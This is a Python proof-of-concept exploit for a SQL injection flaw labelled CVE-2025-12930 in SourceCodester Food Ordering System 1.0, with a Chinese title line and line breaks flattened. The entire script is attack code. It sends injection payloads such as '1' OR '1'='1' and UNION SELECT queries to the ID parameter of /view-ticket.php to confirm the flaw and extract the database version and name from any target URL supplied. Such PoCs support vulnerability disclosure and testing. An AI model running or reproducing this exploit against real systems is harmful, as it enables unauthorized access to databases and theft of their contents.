CVE-2025-12930 SourceCodester Food Ordering System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-12930 SQL Injection PoC # Target: SourceCodester Food Ordering System 1.0 # File: /view-ticket.php # Parameter: ID def exploit_sqli(url, payload): """Send SQL injection payload to vulnerable endpoint""" target_url = f"{url}/view-ticket.php" params = {'ID': payload} try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def test_basic_sqli(url): """Test basic SQL injection vulnerability""" # Basic error-based SQL injection test payload = "1' OR '1'='1" print(f"[*] Testing basic SQL injection with payload: {payload}") result = exploit_sqli(url, payload) if result: print("[+] Basic SQL injection test completed") return result def extract_database_version(url): """Extract database version using UNION-based injection""" payload = "1' UNION SELECT NULL,version(),NULL-- -" print(f"[*] Extracting database version...") result = exploit_sqli(url, payload) if result and '5.' in result: print("[+] Database version extracted successfully") return result def extract_database_name(url): """Extract database name""" payload = "1' UNION SELECT NULL,database(),NULL-- -" print(f"[*] Extracting database name...") return exploit_sqli(url, payload) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/food-ordering-system") sys.exit(1) target_url = sys.argv[1].rstrip('/') print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-12930 SQL Injection PoC\n") # Run tests test_basic_sqli(target_url) extract_database_version(target_url) extract_database_name(target_url) print("\n[*] PoC execution completed")